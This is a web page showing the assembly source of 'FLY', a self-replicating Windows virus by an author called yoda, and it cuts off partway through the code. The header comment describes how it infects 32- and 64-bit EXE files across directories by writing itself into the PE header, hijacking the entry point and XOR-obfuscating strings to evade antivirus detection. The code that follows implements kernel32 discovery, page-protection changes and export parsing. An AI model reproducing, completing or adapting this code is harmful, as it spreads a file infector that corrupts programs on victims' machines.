📄 29a-7.012
字号:
;@ECHO OFF
;GOTO MAKE
COMMENT @
-=[ FLY ]=-
a lame virus
by yoda
version: 1.21
Music..................borrowed Nirvana-Nevermind CD/Busta Rhymes/KKS/RunDMC
Assembler..............MASM
Editor.................UltraEdit32
Reason for coding......last school holiday day :)
Target files...........PE32/PE32+ EXE files
Payload................MessageBox if PC is already 30min up
It was nice to find out that KAV added FLY 1.1 to its virii database as Win32.Small.1144.
The edge is that they didn't find the "FLY" trademark in the header and so it rests in
disinfected files :)
This version is fully recoded. The old code was often less optimized and such things.
FLY 1.2 infects 32/64 bit EXE files in the current and in all subdirectries (it's called
dot dot methode, I think).
Whereby I don't know whether infected PE32+ files will run...I think:NO...in this case you'll
have to look at FLY as a PE32 infector with a PE32+ destruction feature :)
The virus body is neither appended at the target file image nor it's written into a
section (like the RelocationDirectory section - .reloc). First I patch the file image
to make the SizeOfHeaders 0x1000...move sections physically, fix NT/ST headers... And after
that the virus body is written into the PE header. I didn't include any BoundImportDirectory
processing. This Directory is always (I think) stored in the PE Header (after the
SectionHeaderTable). If present, it maybe gets overwritten, so I simply clear the BoundImport
DataDirectory in the DataDirectoryEntryTable.
The EntryPoint RVA in the header of the victim isn't changed. FLY assembles...
PUSH ptr_to_virus_body
RET
...at the EntryPoint and when the execution of the virus body is finished, it rewrites the
orginal EntryPoint bytes and jumps to it.
Because we don't have write access in the PE header in memory, one of the first steps FLY does
is getting this access by the VirtualProtect API.
I generally tried to avoid strings like "*.exe", "MZ", "MessageBoxA" in the virus body. This
is reallized by different ways:obfuscation values, build strings on stack or by XORing the
data partion of the virus. Any other protection schemes like Anti-Debugging, Polymorphism or
things like that aren't used.
Payload is a simply but topmost :) MessageBox if the PC is already 30min up.
Disclaimer:
~~~~~~~~~~~
I AM NOT RESPONSIBLE FOR ANY DAMAGE CAUSED BY THIS SOURCE CODE NOR IT'S COMPILED EXECUTABLE !
I JUST CODED "FLY" FOR EDUCATION PURPOSES !
History:
~~~~~~~~
1.21: ( Virsu size: 0x715 Bytes )
- finally added SEH frame in "GetNTHeaders" routine
1.2: ( Virus size: 0x6D7 Bytes )
- all recoded (see above)
- [...]
1.1: ( Virus size: 0x484 Bytes / 1156 Bytes )
- Code optimized a bit
- Boring PER added
- API string CRC method added
- Minor bugfixes
1.0: ( Virus size: 0x560 Bytes / 1376 Bytes )
- first release
yoda
@
.386
.MODEL flat,stdcall
OPTION CASEMAP : NONE
; ------ INCLUDE's ----------------------------------------------------------------------
INCLUDE \masm32\include\windows.inc
INCLUDE \masm32\include\kernel32.inc
INCLUDELIB \masm32\lib\kernel32.lib
; ------ STRUCTS-------------------------------------------------------------------------
PUSHA_STRUCT STRUCT 1
_EDI DWORD ?
_ESI DWORD ?
_EBP DWORD ?
_ESP DWORD ?
_EBX DWORD ?
_EDX DWORD ?
_ECX DWORD ?
_EAX DWORD ?
PUSHA_STRUCT ENDS
;SEH_DATA STRUCT 1
; dwNewESP DWORD ?
; dwNewEIP DWORD ?
;SEH_DATA ENDS
IMAGE_OPTIONAL_HEADER64 STRUCT 1
Magic WORD ?
MajorLinkerVersion BYTE ?
MinorLinkerVersion BYTE ?
SizeOfCode DWORD ?
SizeOfInitializedData DWORD ?
SizeOfUninitializedData DWORD ?
AddressOfEntryPoint DWORD ?
BaseOfCode DWORD ?
ImageBase QWORD ?
SectionAlignment DWORD ?
FileAlignment DWORD ?
MajorOperatingSystemVersion WORD ?
MinorOperatingSystemVersion WORD ?
MajorImageVersion WORD ?
MinorImageVersion WORD ?
MajorSubsystemVersion WORD ?
MinorSubsystemVersion WORD ?
Win32VersionValue DWORD ?
SizeOfImage DWORD ?
SizeOfHeaders DWORD ?
CheckSum DWORD ?
Subsystem WORD ?
DllCharacteristics WORD ?
SizeOfStackReserve QWORD ?
SizeOfStackCommit QWORD ?
SizeOfHeapReserve QWORD ?
SizeOfHeapCommit QWORD ?
LoaderFlags DWORD ?
NumberOfRvaAndSizes DWORD ?
DataDirectory IMAGE_DATA_DIRECTORY IMAGE_NUMBEROF_DIRECTORY_ENTRIES dup(<>)
IMAGE_OPTIONAL_HEADER64 ENDS
IMAGE_NT_HEADERS64 STRUCT 1
Signature DWORD ?
FileHeader IMAGE_FILE_HEADER <>
OptionalHeader IMAGE_OPTIONAL_HEADER64 <>
IMAGE_NT_HEADERS64 ENDS
; ------ EQU's --------------------------------------------------------------------------
OBFUSCATION_VAL EQU 018273645h
FLY_BODY_SIZE EQU (FLY_END - FLY_START)
FLY_TRADEMARK EQU "YLF" ; pasted in FileHeader.PointerToSymbolTable
VIRUS_OFFSET EQU (01000h - FLY_BODY_SIZE)
MIN_PAYLOAD_TICK EQU 30 * 60 * 1000 ; (30 min)
; ------ CODE ---------------------------------------------------------------------------
.CODE
ASSUME FS : NOTHING
Main:
CALL GetVersion ; The compiled exe won't run on Win2k without any Imports :(
; This call is just for the first generation
FLY_START:
; INT 3
;-> receive delta
PUSHAD
CALL get_delta
get_delta:
ADD DWORD PTR [ESP], OBFUSCATION_VAL
LEA EBX, [OFFSET get_delta + OBFUSCATION_VAL]
POP EBP
SUB EBP, EBX
;-> get kernel ImageBase
PUSH [ESP].PUSHA_STRUCT._ESP
CALL GetKernelBase
TEST EAX, EAX
JZ total_quit
MOV EDI, EAX ; EDI -> K32 base
;-> get write access for the virus body (in PE Header is usually ReadOnly access)
SUB ESP, 16
MOV ESI, ESP ; ESI -> base ptr of our little stack frame
MOV DWORD PTR [ESI], "triV" ;
MOV DWORD PTR [ESI + 4], "Plau" ;
MOV DWORD PTR [ESI + 8], "etor" ;
MOV DWORD PTR [ESI + 12], "tc" ; build "VirtualProtect\0" str on stack
PUSH 15
PUSH ESI
PUSH EDI
CALL GetProcAddr
ADD ESP, 16
PUSH EAX ; reserve a DWORD on the stack as lpflOldProtect buff
PUSH ESP
PUSH PAGE_EXECUTE_READWRITE
PUSH FLY_BODY_SIZE
LEA EBX, [EBP + FLY_START]
PUSH EBX
CALL EAX ; modify page access via VirtualProtect
POP EAX
;-> dexor our data partition
MOV EBX, [EBP + dwEPRva] ; EBX -> EntryPoint RVA (arg1)
CALL GetXorByte ; returns 0 in first generation
PUSH EAX
PUSH (Variable_Crypt_End - Variable_Crypt_Start)
LEA EAX, [EBP + Variable_Crypt_Start]
PUSH EAX
CALL memxor
MOV [EBP + dwK32Base], EDI ; now we can save the K32 base
;-> collect addresses of needed APIs
CALL GrabAPIs
;-> PE infection
MOV EBX, EBP
CALL TraceAndInfectDirectory
;-> return to OS/original EntryPoint
TEST EBP, EBP ; EBP == 0 -> first generation
JNZ non_virgin_generation
total_quit:
POPAD
RET ; return to OS
non_virgin_generation:
;-> payload
CALL DriveUserNutsHiHi
;-> move EntryPoint ptr to EDI of the popad'd regs
MOV EAX, [EBP + dwImageBase]
ADD EAX, [EBP + dwEPRva]
MOV [ESP].PUSHA_STRUCT._EDI, EAX
;-> restore bytes at the EntryPoint
PUSH 6
PUSH EAX
LEA EAX, [EBP + bEntryData]
PUSH EAX
CALL memcpy
POPAD
JMP EDI ;-> jump to victim's EntryPoint
;
; Args:
; [ESP + 4] - initial ESP value
;
; Returns:
; ImageBase of Kernel32.dll or 0 in EAX
;
; Reserved Regs: NO
;
GetKernelBase:
ARG_1 EQU [ESP + 4]
;INT 3
; wipe LOWORD of K32 ptr
MOV ESI, ARG_1
MOV ESI, [ESI] ; ESI -> ptr into K32
SAR ESI, 16 ;
SAL ESI, 16 ; ESI &= 0xFFFF0000
@@test_4_PE_hdr:
PUSH ESI
CALL GetNTHeaders
TEST EAX, EAX
JZ @F
; K32 PE hdr found !
XCHG EAX, ESI
JMP @@exit_proc
@@:
SUB ESI, 000010000h
JMP @@test_4_PE_hdr
@@exit_proc:
RET 4
;
; Args:
; [ESP + 4] - ptr to an PE image
; EBP - delta !
;
; Returns:
; the ptr to the NT headers of NULL in case of an error
;
; Reserved Regs: ALL
;
GetNTHeaders:
ARG_1 EQU [ESP + 4 + 2*4 + SIZEOF PUSHA_STRUCT]
; INT 3
PUSHAD
; set up SEH frame
SUB EAX, EAX
LEA EBX, [EBP + SehHandler]
PUSH EBX
PUSH FS:[EAX]
MOV FS:[EAX], ESP
; process
SUB EAX, EAX ; EAX -> 0 (result REG)
MOV ESI, ARG_1 ; ESI -> pImage
MOVZX EDX, WORD PTR [ESI]
ADD EDX, 1234
SUB EDX, "ZM" + 1234
JNZ GetNTHeaders_exit
MOV EDI, DWORD PTR [ESI].IMAGE_DOS_HEADER.e_lfanew
MOV EDX, [EDI + ESI]
SUB EDX, 4321
SUB EDX, "EP" - 4321
JNZ GetNTHeaders_exit
LEA EAX, [EDI + ESI]
GetNTHeaders_exit:
SUB EBX, EBX
POP FS:[EBX]
ADD ESP, 4
MOV [ESP].PUSHA_STRUCT._EAX, EAX ; EAX -> popad'd REGs
POPAD
RET 4
SehHandler PROC C pExcept:DWORD,pFrame:DWORD,pContext:DWORD,pDispatch:DWORD
; INT 3
;-> modify EIP and continue execution
MOV EAX, pContext ; EAX -> context ptr
MOV ECX, [EAX].CONTEXT.regEbp ; ECX -> debuggee's EBP
LEA EBX, [ECX + GetNTHeaders_exit]
MOV [EAX].CONTEXT.regEip, EBX
MOV EAX, ExceptionContinueExecution
RET
SehHandler ENDP
;
; void* GetProcAddr(HINSTANCE hDLL, char* szAPI, DWORD dwcAPIStrSize);
;
; Returns:
; NULL - in case of an error
;
; Reserved Regs: Win32 API
;
GetProcAddr:
ARG_1 EQU [ESP + 4]
ARG_2 EQU [ESP + 8]
ARG_3 EQU [ESP + 12]
PUSH EBX
PUSH ESI
PUSH EDI
MOV EDX, [ESP + 4 + 12] ; EDX -> dll base
; get ptr to NT hdrs
PUSH EDX
CALL GetNTHeaders
TEST EAX, EAX ; EAX -> ptr to NT hdrs
JZ @@GetProcAddr_exit
; get ptr to ExportTable (PE32/PE32+ dependent code)
CMP WORD PTR [EAX].IMAGE_NT_HEADERS.OptionalHeader.Magic, IMAGE_NT_OPTIONAL_HDR32_MAGIC
JNZ get_exp_table_rva_64
MOV EDI, [EAX].IMAGE_NT_HEADERS.OptionalHeader.DataDirectory[0].VirtualAddress
JMP @F
get_exp_table_rva_64:
MOV EDI, [EAX].IMAGE_NT_HEADERS64.OptionalHeader.DataDirectory[0].VirtualAddress
@@:
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -